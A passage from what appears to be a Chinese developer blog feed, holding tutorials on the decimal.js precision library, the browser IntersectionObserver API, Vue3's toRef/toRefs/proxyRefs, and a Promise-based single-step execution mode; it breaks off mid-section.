  • 📱 轻量级设计:体积小巧,无外部依赖,适合各种项目环境
  • 🛡️ 类型安全:提供完整的TypeScript类型定义
  • 性能优化:针对常见运算场景进行了性能优化

兼容性

  • 浏览器支持:支持所有现代浏览器,包括IE6+
  • Node.js支持:支持Node.js 0.10+
  • 框架兼容:与React、Vue、Angular等主流框架完全兼容
  • TypeScript支持:提供完整的TypeScript类型定义文件

安装使用

安装方式

# npm
npm install decimal.js

# yarn
yarn add decimal.js

# pnpm
pnpm add decimal.js

基础使用

1. 导入库

// ES6 模块导入
import { Decimal } from 'decimal.js';

// CommonJS 导入
const { Decimal } = require('decimal.js');

// CDN 引入
// <script src="https://cdn.jsdelivr.net/npm/decimal.js@10.4.3/decimal.min.js"></script>

2. 基础示例

// 解决经典的浮点数精度问题
const traditionalWay = 0.1 + 0.2; // 0.30000000000000004
const decimalWay = new Decimal(0.1).plus(0.2); // 0.3

console.log('传统方式:', traditionalWay);
console.log('decimal.js方式:', decimalWay.toString());

// 基础四则运算
const a = new Decimal('123.456');
const b = new Decimal('78.9');

const addition = a.plus(b);        // 加法: 202.356
const subtraction = a.minus(b);    // 减法: 44.556
const multiplication = a.times(b); // 乘法: 9740.8584
const division = a.div(b);         // 除法: 1.5641064524...

console.log('加法结果:', addition.toString());
console.log('减法结果:', subtraction.toString());
console.log('乘法结果:', multiplication.toString());
console.log('除法结果:', division.toFixed(4)); // 保留4位小数

3. 配置选项

// 全局配置
Decimal.set({
  precision: 20,           // 精度设置为20位
  rounding: Decimal.ROUND_HALF_UP, // 四舍五入模式
  toExpNeg: -7,           // 指数表示法的负数阈值
  toExpPos: 21,           // 指数表示法的正数阈值
  maxE: 9e15,             // 最大指数
  minE: -9e15,            // 最小指数
  modulo: Decimal.ROUND_DOWN // 取模运算的舍入模式
});

// 创建具有特定配置的实例
const customDecimal = new Decimal('3.14159265358979323846');
console.log('高精度π值:', customDecimal.toString());

实际应用

应用场景1:金融计算

在金融应用中,精确的数值计算至关重要。让我们看看如何使用decimal.js进行复利计算:

/**
 * 计算复利
 * @param {string|number} principal - 本金
 * @param {string|number} rate - 年利率(小数形式)
 * @param {number} years - 年数
 * @param {number} compoundFreq - 每年复利次数
 * @returns {Decimal} 最终金额
 */
const calculateCompoundInterest = (principal, rate, years, compoundFreq = 12) => {
  const P = new Decimal(principal);
  const r = new Decimal(rate);
  const n = new Decimal(compoundFreq);
  const t = new Decimal(years);
  
  // 复利公式: A = P(1 + r/n)^(nt)
  const ratePerPeriod = r.div(n);
  const onePlusRate = new Decimal(1).plus(ratePerPeriod);
  const exponent = n.times(t);
  const amount = P.times(onePlusRate.pow(exponent));
  
  return amount;
};

// 实际使用示例
const principal = '10000';     // 本金1万元
const annualRate = '0.05';     // 年利率5%
const years = 10;              // 投资10年
const monthlyCompound = 12;    // 月复利

const finalAmount = calculateCompoundInterest(principal, annualRate, years, monthlyCompound);
console.log(`本金: ¥${principal}`);
console.log(`年利率: ${new Decimal(annualRate).times(100)}%`);
console.log(`投资期限: ${years}年`);
console.log(`最终金额: ¥${finalAmount.toFixed(2)}`);
console.log(`总收益: ¥${finalAmount.minus(principal).toFixed(2)}`);

// 贷款月供计算
const calculateMonthlyPayment = (loanAmount, annualRate, years) => {
  const P = new Decimal(loanAmount);
  const r = new Decimal(annualRate).div(12); // 月利率
  const n = new Decimal(years).times(12);    // 总月数
  
  // 月供公式: M = P * [r(1+r)^n] / [(1+r)^n - 1]
  const onePlusR = new Decimal(1).plus(r);
  const numerator = P.times(r).times(onePlusR.pow(n));
  const denominator = onePlusR.pow(n).minus(1);
  
  return numerator.div(denominator);
};

// 房贷计算示例
const loanAmount = '300000';   // 贷款30万
const loanRate = '0.045';      // 年利率4.5%
const loanYears = 30;          // 30年期

const monthlyPayment = calculateMonthlyPayment(loanAmount, loanRate, loanYears);
console.log(`\n房贷计算:`);
console.log(`贷款金额: ¥${loanAmount}`);
console.log(`年利率: ${new Decimal(loanRate).times(100)}%`);
console.log(`贷款期限: ${loanYears}年`);
console.log(`月供: ¥${monthlyPayment.toFixed(2)}`);

应用场景2:电商购物车

在电商系统中,价格计算涉及折扣、税费、运费等多个环节,精确计算非常重要:

/**
 * 购物车类 - 处理复杂的价格计算
 */
class ShoppingCart {
  constructor() {
    this.items = [];
    this.taxRate = new Decimal('0.08'); // 8%税率
    this.shippingFee = new Decimal('9.99'); // 固定运费
  }

  /**
   * 添加商品到购物车
   * @param {Object} item - 商品信息
   */
  addItem = (item) => {
    const cartItem = {
      id: item.id,
      name: item.name,
      price: new Decimal(item.price),
      quantity: new Decimal(item.quantity),
      discount: new Decimal(item.discount || 0)
    };
    this.items.push(cartItem);
  };

  /**
   * 计算商品小计(含折扣)
   * @param {Object} item - 商品项
   * @returns {Decimal} 小计金额
   */
  calculateItemSubtotal = (item) => {
    const subtotal = item.price.times(item.quantity);
    const discountAmount = subtotal.times(item.discount);
    return subtotal.minus(discountAmount);
  };

  /**
   * 计算商品总计
   * @returns {Decimal} 商品总计
   */
  calculateItemsTotal = () => {
    return this.items.reduce((total, item) => {
      return total.plus(this.calculateItemSubtotal(item));
    }, new Decimal(0));
  };

  /**
   * 计算税费
   * @param {Decimal} subtotal - 小计金额
   * @returns {Decimal} 税费
   */
  calculateTax = (subtotal) => {
    return subtotal.times(this.taxRate);
  };

  /**
   * 应用优惠券
   * @param {string|number} couponAmount - 优惠券金额
   * @returns {Decimal} 优惠后总计
   */
  applyCoupon = (couponAmount) => {
    const itemsTotal = this.calculateItemsTotal();
    const tax = this.calculateTax(itemsTotal);
    const totalBeforeCoupon = itemsTotal.plus(tax).plus(this.shippingFee);
    
    const coupon = new Decimal(couponAmount);
    const finalTotal = totalBeforeCoupon.minus(coupon);
    
    return finalTotal.greaterThan(0) ? finalTotal : new Decimal(0);
  };

  /**
   * 获取购物车详细信息
   * @returns {Object} 购物车详情
   */
  getCartSummary = () => {
    const itemsTotal = this.calculateItemsTotal();
    const tax = this.calculateTax(itemsTotal);
    const total = itemsTotal.plus(tax).plus(this.shippingFee);
    
    return {
      items: this.items.map(item => ({
        ...item,
        subtotal: this.calculateItemSubtotal(item),
        price: item.price.toString(),
        quantity: item.quantity.toString(),
        discount: item.discount.toString()
      })),
      itemsTotal: itemsTotal.toString(),
      tax: tax.toString(),
      shippingFee: this.shippingFee.toString(),
      total: total.toString()
    };
  };
}

// 购物车使用示例
const cart = new ShoppingCart();

// 添加商品
cart.addItem({
  id: 1,
  name: 'iPhone 15 Pro',
  price: '999.99',
  quantity: 1,
  discount: '0.05' // 5%折扣
});

cart.addItem({
  id: 2,
  name: 'AirPods Pro',
  price: '249.99',
  quantity: 1,
  discount: '0'
});

cart.addItem({
  id: 3,
  name: '保护壳',
  price: '29.99',
  quantity: 2,
  discount: '0.1' // 10%折扣
});

// 获取购物车摘要
const summary = cart.getCartSummary();
console.log('\n=== 购物车详情 ===');
summary.items.forEach(item => {
  const discountPercent = new Decimal(item.discount).times(100);
  console.log(`${item.name}: $${item.price} × ${item.quantity} = $${item.subtotal} (折扣: ${discountPercent}%)`);
});

console.log(`\n商品小计: $${summary.itemsTotal}`);
console.log(`税费 (8%): $${summary.tax}`);
console.log(`运费: $${summary.shippingFee}`);
console.log(`总计: $${summary.total}`);

// 应用优惠券
const finalTotal = cart.applyCoupon('50');
console.log(`使用 $50 优惠券后: $${finalTotal.toFixed(2)}`);

应用场景3:科学计算

decimal.js也非常适合需要高精度的科学计算:

/**
 * 数学工具类 - 高精度科学计算
 */
class MathUtils {
  /**
   * 计算阶乘
   * @param {number} n - 输入数字
   * @returns {Decimal} 阶乘结果
   */
  static factorial = (n) => {
    if (n < 0) throw new Error('阶乘不支持负数');
    if (n === 0 || n === 1) return new Decimal(1);
    
    let result = new Decimal(1);
    for (let i = 2; i <= n; i++) {
      result = result.times(i);
    }
    return result;
  };

  /**
   * 计算组合数 C(n, r)
   * @param {number} n - 总数
   * @param {number} r - 选择数
   * @returns {Decimal} 组合数
   */
  static combination = (n, r) => {
    if (r > n || r < 0) return new Decimal(0);
    if (r === 0 || r === n) return new Decimal(1);
    
    const numerator = this.factorial(n);
    const denominator = this.factorial(r).times(this.factorial(n - r));
    return numerator.div(denominator);
  };

  /**
   * 计算排列数 P(n, r)
   * @param {number} n - 总数
   * @param {number} r - 选择数
   * @returns {Decimal} 排列数
   */
  static permutation = (n, r) => {
    if (r > n || r < 0) return new Decimal(0);
    if (r === 0) return new Decimal(1);
    
    const numerator = this.factorial(n);
    const denominator = this.factorial(n - r);
    return numerator.div(denominator);
  };

  /**
   * 高精度平方根计算(牛顿法)
   * @param {string|number} x - 输入值
   * @param {number} precision - 精度
   * @returns {Decimal} 平方根
   */
  static sqrt = (x, precision = 50) => {
    const num = new Decimal(x);
    if (num.isNegative()) throw new Error('不能计算负数的平方根');
    if (num.isZero()) return new Decimal(0);
    
    // 设置高精度
    const originalPrecision = Decimal.precision;
    Decimal.set({ precision: precision });
    
    let guess = num.div(2);
    let prevGuess;
    
    do {
      prevGuess = guess;
      guess = guess.plus(num.div(guess)).div(2);
    } while (!guess.equals(prevGuess));
    
    // 恢复原精度
    Decimal.set({ precision: originalPrecision });
    return guess;
  };
}

// 科学计算示例
console.log('\n=== 科学计算示例 ===');

// 阶乘计算
const factorial20 = MathUtils.factorial(20);
console.log(`20! = ${factorial20.toString()}`);

// 组合数计算
const combination = MathUtils.combination(52, 5); // 扑克牌组合
console.log(`C(52,5) = ${combination.toString()}`);

// 排列数计算
const permutation = MathUtils.permutation(10, 3);
console.log(`P(10,3) = ${permutation.toString()}`);

// 高精度平方根
const sqrt2 = MathUtils.sqrt('2', 50);
console.log(`√2 = ${sqrt2.toString()}`);

// 计算圆周率π的近似值(使用莱布尼茨公式)
const calculatePi = (iterations = 1000000) => {
  let pi = new Decimal(0);
  
  for (let i = 0; i < iterations; i++) {
    const term = new Decimal(1).div(2 * i + 1);
    if (i % 2 === 0) {
      pi = pi.plus(term);
    } else {
      pi = pi.minus(term);
    }
  }
  
  return pi.times(4);
};

const piApprox = calculatePi(100000);
console.log(`π ≈ ${piApprox.toString()}`);

优缺点分析

优点 ✅

  • 精度保证:完全解决JavaScript浮点数精度问题,支持任意精度计算
  • 功能完整:提供丰富的数学运算方法,满足各种计算需求
  • 性能优秀:针对常见运算场景进行了优化,性能表现良好
  • 易于使用:API设计直观,学习成本低,文档详细
  • 兼容性好:支持各种环境,无外部依赖
  • 类型安全:提供完整的TypeScript支持

缺点 ❌

  • 包体积:相比原生数值类型,增加了约33KB的体积开销
  • 性能开销:高精度计算比原生浮点数运算慢,不适合大量简单计算
  • 内存占用:Decimal对象比原生数字占用更多内存
  • 学习成本:需要改变现有的数值处理习惯,团队需要统一使用规范

最佳实践

开发建议

1. 性能优化技巧

// 推荐:复用Decimal实例,避免频繁创建
const basePrice = new Decimal('99.99');
const quantities = [1, 2, 3, 4, 5];

const totals = quantities.map(qty => basePrice.times(qty));

// 避免:每次都创建新的Decimal实例
// const totals = quantities.map(qty => new Decimal('99.99').times(qty));

// 推荐:批量计算时使用原生数组方法
const calculateBatchTotal = (prices, quantities) => {
  return prices.reduce((total, price, index) => {
    return total.plus(price.times(quantities[index]));
  }, new Decimal(0));
};

// 推荐:合理设置精度,避免过度精确
Decimal.set({ precision: 20 }); // 通常20位精度足够

// 避免:不必要的高精度设置
// Decimal.set({ precision: 100 }); // 过度精确,影响性能

2. 错误处理策略

/**
 * 安全的除法运算
 * @param {Decimal} dividend - 被除数
 * @param {Decimal} divisor - 除数
 * @returns {Decimal} 结果
 */
const safeDivision = (dividend, divisor) => {
  try {
    if (divisor.isZero()) {
      throw new Error('除数不能为零');
    }
    
    const result = dividend.div(divisor);
    
    // 检查结果是否为有限数
    if (!result.isFinite()) {
      throw new Error('计算结果超出范围');
    }
    
    return result;
  } catch (error) {
    console.error('除法运算错误:', error.message);
    return new Decimal(0); // 返回默认值
  }
};

/**
 * 安全的数值转换
 * @param {any} value - 输入值
 * @returns {Decimal} 转换结果
 */
const safeDecimalConversion = (value) => {
  try {
    const decimal = new Decimal(value);
    
    // 验证转换结果
    if (!decimal.isFinite()) {
      throw new Error('无效的数值');
    }
    
    return decimal;
  } catch (error) {
    console.error('数值转换错误:', error.message);
    return new Decimal(0);
  }
};

3. 内存管理

// 推荐:及时清理不需要的引用
const processLargeDataset = (data) => {
  const results = [];
  
  for (let i = 0; i < data.length; i++) {
    const item = data[i];
    const result = new Decimal(item.value).times(item.multiplier);
    results.push(result.toString()); // 转换为字符串减少内存占用
  }
  
  return results;
};

// 推荐:使用对象池模式(适用于频繁创建销毁的场景)
class DecimalPool {
  constructor(size = 100) {
    this.pool = [];
    this.size = size;
  }
  
  get(value) {
    if (this.pool.length > 0) {
      const decimal = this.pool.pop();
      return decimal.constructor(value);
    }
    return new Decimal(value);
  }
  
  release(decimal) {
    if (this.pool.length < this.size) {
      this.pool.push(decimal);
    }
  }
}

常见陷阱

  • ⚠️ 字符串vs数字:始终使用字符串创建Decimal实例,避免浮点数精度问题
  • ⚠️ 比较运算:使用.equals().greaterThan()等方法,不要使用===
  • ⚠️ 类型混用:不要将Decimal与原生数字直接运算,先转换类型
  • ⚠️ 精度设置:全局精度设置会影响所有实例,谨慎修改

进阶用法

高级特性

1. 自定义舍入模式

// 设置不同的舍入模式
const value = new Decimal('3.14159');

// 向上舍入
Decimal.set({ rounding: Decimal.ROUND_UP });
console.log('向上舍入:', value.toFixed(2)); // 3.15

// 向下舍入
Decimal.set({ rounding: Decimal.ROUND_DOWN });
console.log('向下舍入:', value.toFixed(2)); // 3.14

// 四舍五入
Decimal.set({ rounding: Decimal.ROUND_HALF_UP });
console.log('四舍五入:', value.toFixed(2)); // 3.14

// 银行家舍入(四舍六入五成双)
Decimal.set({ rounding: Decimal.ROUND_HALF_EVEN });
console.log('银行家舍入:', value.toFixed(2)); // 3.14

2. 格式化输出

/**
 * 数字格式化工具类
 */
class NumberFormatter {
  /**
   * 格式化为货币
   * @param {Decimal} amount - 金额
   * @param {string} currency - 货币符号
   * @returns {string} 格式化结果
   */
  static toCurrency = (amount, currency = '$') => {
    return `${currency}${amount.toFixed(2)}`;
  };

  /**
   * 格式化为百分比
   * @param {Decimal} value - 数值
   * @param {number} decimals - 小数位数
   * @returns {string} 百分比字符串
   */
  static toPercentage = (value, decimals = 2) => {
    return `${value.times(100).toFixed(decimals)}%`;
  };

  /**
   * 格式化大数字(添加千分位分隔符)
   * @param {Decimal} value - 数值
   * @returns {string} 格式化结果
   */
  static toLocaleString = (value) => {
    const str = value.toString();
    return str.replace(/\B(?=(\d{3})+(?!\d))/g, ',');
  };

  /**
   * 科学计数法格式化
   * @param {Decimal} value - 数值
   * @param {number} precision - 精度
   * @returns {string} 科学计数法字符串
   */
  static toExponential = (value, precision = 2) => {
    return value.toExponential(precision);
  };
}

// 格式化示例
const amount = new Decimal('1234567.89');
console.log('\n=== 格式化示例 ===');
console.log('货币格式:', NumberFormatter.toCurrency(amount, '¥'));
console.log('千分位格式:', NumberFormatter.toLocaleString(amount));
console.log('科学计数法:', NumberFormatter.toExponential(amount));

const rate = new Decimal('0.0525');
console.log('百分比格式:', NumberFormatter.toPercentage(rate));

自定义扩展

// 扩展Decimal原型,添加自定义方法
Decimal.prototype.isEven = function() {
  return this.modulo(2).isZero();
};

Decimal.prototype.isOdd = function() {
  return !this.isEven();
};

Decimal.prototype.clamp = function(min, max) {
  if (this.lessThan(min)) return new Decimal(min);
  if (this.greaterThan(max)) return new Decimal(max);
  return this;
};

// 使用自定义方法
const num = new Decimal('42');
console.log('是偶数:', num.isEven()); // true
console.log('是奇数:', num.isOdd());  // false

const value = new Decimal('150');
const clamped = value.clamp(0, 100);
console.log('限制在0-100范围:', clamped.toString()); // 100

工具集成

  • 构建工具:decimal.js支持tree-shaking,可以与Webpack、Vite等现代构建工具无缝集成
  • 测试框架:提供精确的数值比较,非常适合单元测试中的断言
  • 开发工具:支持TypeScript,提供完整的类型提示和错误检查

故障排除

常见问题

Q1: 为什么计算结果与预期不符?

问题描述:使用decimal.js计算后结果仍然不准确

解决方案

// 错误做法:使用浮点数创建Decimal
const wrong = new Decimal(0.1).plus(new Decimal(0.2));

// 正确做法:使用字符串创建Decimal
const correct = new Decimal('0.1').plus(new Decimal('0.2'));
console.log('正确结果:', correct.toString()); // 0.3

Q2: 如何处理除零错误?

问题描述:除法运算可能遇到除零情况

解决方案

const safeDivide = (a, b) => {
  const dividend = new Decimal(a);
  const divisor = new Decimal(b);
  
  if (divisor.isZero()) {
    console.warn('警告:除数为零');
    return new Decimal('Infinity');
  }
  
  return dividend.div(divisor);
};

调试技巧

// 开启调试模式
const debugCalculation = (operation, a, b) => {
  console.log(`计算: ${a} ${operation} ${b}`);
  
  const numA = new Decimal(a);
  const numB = new Decimal(b);
  let result;
  
  switch (operation) {
    case '+':
      result = numA.plus(numB);
      break;
    case '-':
      result = numA.minus(numB);
      break;
    case '*':
      result = numA.times(numB);
      break;
    case '/':
      result = numA.div(numB);
      break;
    default:
      throw new Error('不支持的运算符');
  }
  
  console.log(`结果: ${result.toString()}`);
  console.log(`精度: ${result.precision()}`);
  console.log(`是否有限: ${result.isFinite()}`);
  
  return result;
};

// 使用示例
debugCalculation('+', '0.1', '0.2');

性能问题诊断

  • 检查点1:避免在循环中频繁创建Decimal实例
  • 检查点2:合理设置全局精度,避免过度精确
  • 检查点3:对于简单计算,考虑是否真的需要高精度

总结

decimal.js 是一个功能强大、设计优秀的JavaScript高精度数值计算库,特别适合金融、电商、科学计算等对数值精度要求较高的应用场景。它的高精度计算能力、丰富的API接口、良好的兼容性使其在精确数值计算领域中表现出色。

推荐指数:⭐⭐⭐⭐⭐ (5/5)

适合人群

  • ✅ 金融应用开发者(银行、支付、投资等)
  • ✅ 电商平台开发者(价格计算、订单处理等)
  • ✅ 科学计算应用开发者(数据分析、统计计算等)
  • ✅ 对数值精度有严格要求的项目团队

不适合场景

  • ❌ 对性能要求极高的实时计算场景
  • ❌ 简单的数值运算,精度要求不高的场景
  • ❌ 对包体积非常敏感的轻量级应用

学习建议

  1. 入门阶段:从基础四则运算开始,理解Decimal对象的创建和使用
  2. 进阶阶段:学习配置选项、舍入模式、格式化等高级特性
  3. 实战应用:结合具体业务场景,如金融计算、购物车等进行实践

相关资源


如果你觉得这篇文章对你有帮助,欢迎点赞、收藏和分享。如果你有其他想了解的JavaScript库,也欢迎在评论区留言告诉我!


本文是「掘金周更」系列的第8期,每周为大家推荐一个实用的JavaScript第三方库。关注我,不错过每一期精彩内容!

IntersectionObserver 异步交叉观察器

IntersectionObserver 是浏览器原生提供的「异步交叉观察器」,用来高效监听「目标元素与其祖先或视口是否相交」以及「相交比例变化」。相比传统的 scroll + getBoundingClientRect 方案,它把计算工作下沉到浏览器内核,不阻塞主线程、无需手动节流、精度高、代码少,任何需要「元素可见性」判断的场景都能用它。


一、核心 API(记忆 3 个步骤)

  1. 新建观察者
    const io = new IntersectionObserver(callback, options)
  2. 告诉它要观察谁
    io.observe(DOM元素) 可多次调用,一个实例可同时观察 N 个节点
  3. 用完收回
    io.unobserve(元素)io.disconnect()

callback 会被传入两个形参:
entries – 本次发生变化的 IntersectionObserverEntry 数组
observer – 当前观察者实例,可用于 unobserve

entry 上最常用的 3 个字段

  • isIntersecting 布尔值 – 是否「可见」
  • intersectionRatio 0-1 – 可见比例
  • target – 被观察的 DOM 节点

options 3 选 1 均可省

  • root 默认 null(= 视口),也可指定祖先滚动容器
  • rootMargin 扩大/缩小触发范围,写法同 CSS margin("50px 0")
  • threshold 触发阈值,默认 0(刚碰到就触发),可写数组 [0, 0.5, 1]

二、4 个常见真实场景与可直接粘贴的示例

  1. 图片懒加载(最经典)
<img class="lazy" src="placeholder.png" data-src="real.jpg" width="400">
<img class="lazy" src="placeholder.png" data-src="real2.jpg" width="400">
<script>
const io = new IntersectionObserver((entries, ob) => {
  entries.forEach(en => {
    if (en.isIntersecting) {               // 进入视口
      const img = en.target;
      img.src = img.dataset.src;           // 换真实地址
      ob.unobserve(img);                   // 立即取消监听
    }
  });
}, { rootMargin: '100px' });               // 提前 100px 开始加载

document.querySelectorAll('img.lazy').forEach(el => io.observe(el));
</script>
  1. 无限滚动(触底加载下一页)
<ul id="list"></ul>
<li id="sentinel">加载中…</li>
<script>
let page = 1;
const io = new IntersectionObserver(([entry]) => {
  if (entry.isIntersecting) {              // 底部元素完全可见
    loadMore();                            // 请求接口
  }
}, { threshold: 1 });

function loadMore() {
  fetch(`/api/list?page=${page++}`)
    .then(r => r.json())
    .then(arr => {
      const ul = document.getElementById('list');
      arr.forEach(d => ul.insertAdjacentHTML('beforeend', `<li>${d}</li>`));
    });
}
io.observe(document.getElementById('sentinel'));
</script>
  1. 元素出现即播放动画(一次性)
.fadeIn { opacity: 0; transform: translateY(20px); transition: .6s }
.fadeIn.show { opacity: 1; transform: translateY(0) }
<div class="fadeIn">Hello</div>
<div class="fadeIn">World</div>
<script>
const io = new IntersectionObserver((entries, ob) => {
  entries.forEach(en => {
    if (en.isIntersecting) {
      en.target.classList.add('show');
      ob.unobserve(en.target);             // 动画只需一次
    }
  });
}, { threshold: .3 });                    // 30% 可见就触发
document.querySelectorAll('.fadeIn').forEach(el => io.observe(el));
</script>
  1. 广告/组件「曝光埋点」
const io = new IntersectionObserver((entries, ob) => {
  entries.forEach(en => {
    if (en.isIntersecting && en.intersectionRatio >= 1) {
      // 整卡完全可见,只发一次
      gtag('event', 'ad_impression', { element: en.target.dataset.id });
      ob.unobserve(en.target);
    }
  });
}, { threshold: 1 });

document.querySelectorAll('.ad-card').forEach(card => io.observe(card));

三、易踩小坑 & 性能提示

  • 观察器实例可以复用,不要给每个元素 new 一个
  • 回调里不要做重计算/同步 IO,必要时用 requestIdleCallback 延后
  • 节点移除后记得 unobserve,SPA 切换页时记得 disconnect() 防止泄漏
  • 旧版浏览器(IE)需加载 polyfill(github.com/w3c/IntersectionObserver)
  • 若滚动容器不是 window,记得把 root 指向那个「可滚动祖先」

四、一句话总结
IntersectionObserver = 「可见性变化」专属黑科技:
代码更少、性能更好、功能刚好,懒加载、无限滚、动画、埋点全能打。今天开始,把 scroll 事件收起来吧!

从零到一打造 Vue3 响应式系统 Day 27 - toRef、toRefs、ProxyRef、unref

ZuB1M1H.png 在响应式系统中,reactive 能够将一个对象转换为深层的响应式对象,但是在开发过程中,我们时常会需要用到解构赋值,这时候会导致响应性丢失。

问题解析

<body>
  <div id="app"></div>
  <script type="module">
    import { reactive, toRef, effect } from '../../../node_modules/vue/dist/vue.esm-browser.js'
    // import { reactive, effect, ref } from '../dist/reactivity.esm.js'

    const state = reactive({
      name: 'a',
      age: 18
    })

    const { name } = state // 解构赋值

    effect(() => {
      console.log(name) // 打印的是 'a',一个普通的字符串
    })

    setTimeout(() => {
      state.name = 'b' // 这里的修改无法被 effect 侦测到
    }, 1000)
  </script>
</body>

执行这段代码,你会发现解构出来的属性会丢失响应式,所以 setTimeout 不会触发更新。

day27-01.png

为了解决上述问题,我们通常会用 toRef,让解构出来的变量可以触发响应式更新:

<body>
  <div id="app"></div>
  <script type="module">
    import { reactive, toRef, effect } from '../../../node_modules/vue/dist/vue.esm-browser.js'
    // import { reactive, effect, ref } from '../dist/reactivity.esm.js'

    const state = reactive({
      name: 'a',
      age: 18
    })

    const name = toRef(state, 'name') // 使用 toRef

    effect(() => {
      console.log(name.value) // 需要通过 .value 访问
    })

    setTimeout(() => {
      state.name = 'b'
    }, 1000)
  </script>
</body>

day27-02.png

核心原理

如果这时候去看这个 name 输出的类型:

day27-03.png

你会发现它跟我们在使用的 RefImpl 类型不同,它是一个特制的 ObjectRefImpl 类,并且多了两个属性 _object_key,它们分别存储了原始对象、属性名称。

这个 toRef 我们可以知道它接受一个对象以及 key,所以我们可以这样写:

// ref.ts
export function toRef(target, key) {
  return {
    get value() {
      return target[key]
    },
    set value(newValue) {
      target[key] = newValue
    }
  }
}

这样其实就可以更新,但官方示例是属于一个类,所以我们也改写成类:

class ObjectRefImpl {
  [ReactiveFlags.IS_REF] = true // 标记为 ref
  constructor(public _object, public key) {}

  get value() {
    // 访问 .value 时,代理到原始对象的对应 key
    return this._object[this.key]
  }

  set value(newValue) {
    // 设置 .value 时,代理到原始对象的对应 key
    this._object[this.key] = newValue
  }
}

export function toRef(target, key) {
  return new ObjectRefImpl(target, key)
}

这样就可以将我们解构出来的变量,重新赋予响应性。

toRefs

当需要处理多个属性时,可以使用 toRefs,它会遍历一个 reactive 对象,并将其所有属性都转换为 ref,使用如下:

<body>
  <div id="app"></div>
  <script type="module">
    import { reactive, toRefs, effect } from '../../../node_modules/vue/dist/vue.esm-browser.js'
    // import { reactive, effect, toRef } from '../dist/reactivity.esm.js'

    const state = reactive({
      name: 'a',
      age: 18
    })
    const { name, age } = toRefs(state) // 使用 toRefs

    effect(() => {
      console.log(age.value)
    })

    setTimeout(() => {
      state.age++
    }, 1000)
  </script>
</body>

day27-04.png

输出 age 之后,可以看到它也是 ObjectRefImpl 类。

day27-05.png

那我们可以知道 toRefs 的实现非常直观,它遍历目标对象的所有 key,并为每一个 key 调用 toRef

export function toRefs(target) {
  const res = {}
  for (const key in target) {
    res[key] = new ObjectRefImpl(target, key)
  }
  return res
}

PS:toRefs 源码中还有其他判断逻辑,例如确认传入的是不是响应式对象,我们这边就先省略判断,让它可以触发更新:

day27-06.png 虽然 toRefs 解决了响应性丢失的问题,但到处都是 .value,所以我们这边需要两个辅助工具。

unref

unref 是一个简单的辅助函数,如果参数是 ref,它返回 .value;如果不是,则直接返回参数本身。

export function unref(value) {
  return isRef(value) ? value.value : value
}

ProxyRef

proxyRefs 可以将一个包含 ref 的对象(例如 toRefs 的返回值)转换为一个特殊的代理。当访问这个代理的属性时,它会自动解包 .value。它跟 reactive 很像,不直接用 reactive 是因为 reactive 是深层响应式的,而 proxyRefs 通常是浅层的。

export function proxyRefs(target) {
  return new Proxy(target, {
    get(target, key, receiver) {
      const res = Reflect.get(target, key, receiver)
      return unref(res) // 访问时自动 unref
    },
    set(target, key, newValue, receiver) {
      // 这里的 set 也需要处理,如果目标是 ref 而新值不是,应该设置 .value
      return Reflect.set(target, key, newValue, receiver)
    }
  })
}

这样就完成了 proxyRefs

今天我们的重点在于:

  • 直接从 reactive 对象中解构,会失去响应性。
  • 使用 toRef 可以为单个属性创建响应式链接。
  • 使用 toRefs 可以将整个对象的所有属性批量转换为 ref,再进行解构。这样每个被解构出来的变量都与原始对象保持了响应式链接。
  • 选择性地使用 unrefproxyRefs 来简化对 .value 的访问。

想了解更多 Vue 的相关知识,抖音、B站搜索我师父「远方os」,一起跟日安当同学。

代码截断运行逻辑

思路:状态标记 + Promise 阻塞 + 事件触发” 的逻辑闭环

1.开启

单步模式的开启设置 isStepMode = true

2.初始化时开启:创建实例时传入参数

构造函数会接收 isStepMode 参数,存储为实例属性,并通过 eventBus 通知外部组件(如节点 UI)开启单步模式:

constructor(data, isStepMode = false) {
  this.isStepMode = isStepMode; // 1. 存储单步模式状态到实例
  this._waitResolve = null; // 2. 初始化 Promise resolve 句柄(用于控制暂停/继续)
  eventBus.emit('update:runType', isStepMode); // 3. 通知外部组件(如BaseCustomNode)切换单步模式UI
  this._initNodes(data);
  this._initEvent(); // 4. 初始化事件监听(关键:监听“继续”事件)
}

3. 暂停逻辑核心

_createWaitPromise 方法(第 127 行)是单步暂停的核心,它通过返回一个 未 resolve 的 Promise 阻塞代码执行,直到外部调用 resolve 才继续:

// 创建暂停Promise(单步模式下阻断递归)
_createWaitPromise(){
  return new Promise(resolve => {
    // 关键:将 Promise 的 resolve 方法保存到实例的 _waitResolve 属性
    // 此时 Promise 处于 pending 状态,代码执行会卡在这个Promise处
    this._waitResolve = resolve
  })
}
  • 原理:Promise 未调用 resolve 时,后续 await 该 Promise 的代码会一直阻塞(类似 “断点暂停”)。
  • 触发时机:在递归执行节点时,判断单步模式开启则调用该方法,实现 “每个节点执行前暂停”。

4.循环暂停 / 继续:递归中的节点执行闭环

递归逻辑,每个节点执行前都会检查单步模式,满足条件则暂停,直到用户触发 “继续”。

节点执行前暂停:判断单步模式并调用 _createWaitPromise

执行每个节点前会先检查是否为 “非开始 / 结束节点” 且单步模式开启,满足则触发暂停:

  // 非开始/结束节点 + 单步模式开启:触发暂停
  if (!isSkipTruncate) {
    // 1. 通知外部组件
    eventBus.emit('logic:step:status', { nodeId, status: 'ready', nodeLabel });
    if (this.isStepMode) {
      // 2. 调用 _createWaitPromise,返回未resolve的Promise,阻塞后续代码执行
      await this._createWaitPromise(); 
    }
  }
  // 暂停结束后,才执行节点(发送“执行中”状态 + 调用 node.Start())
  eventBus.emit('logic:step:status', { nodeId, status: 'running', nodeLabel });
  let nextNode = await node.Start(); // 执行当前节点
 // 递归执行下一个节点,重复“暂停-执行”循环
  await this._recursiveRun(nextNode, node.nodeIn)

执行完当前节点后,递归调用方法处理下一个节点,再次触发 “暂停检查”,实现 “每个节点执行前暂停” 的循环。

5.“继续” 触发:外部组件通过 eventBus 调用 resolve

暂停后的 “继续” 是通过外部组件的 “运行” 按钮发送事件, 监听事件后调用 _waitResolve(即 _createWaitPromise 中保存的 resolve 方法),让阻塞的 Promise 完成。

监听 “继续” 事件:_initEvent 方法

在 _initEvent 方法中,监听 logic:step:continue 事件,收到事件后调用 this._waitResolve() 解除暂停:

_initEvent(){
  // 监听单步继续事件运行按钮触发
  eventBus.on('logic:step:continue', () => {
    if (this._waitResolve) {
      this._waitResolve(); // 1. 调用保存的 resolve 方法,解除 Promise 阻塞
      this._waitResolve = null; // 2. 重置 _waitResolve,避免重复调用
    }
  })
}

外部组件触发 “继续”:BaseCustomNode 的 “运行” 按钮

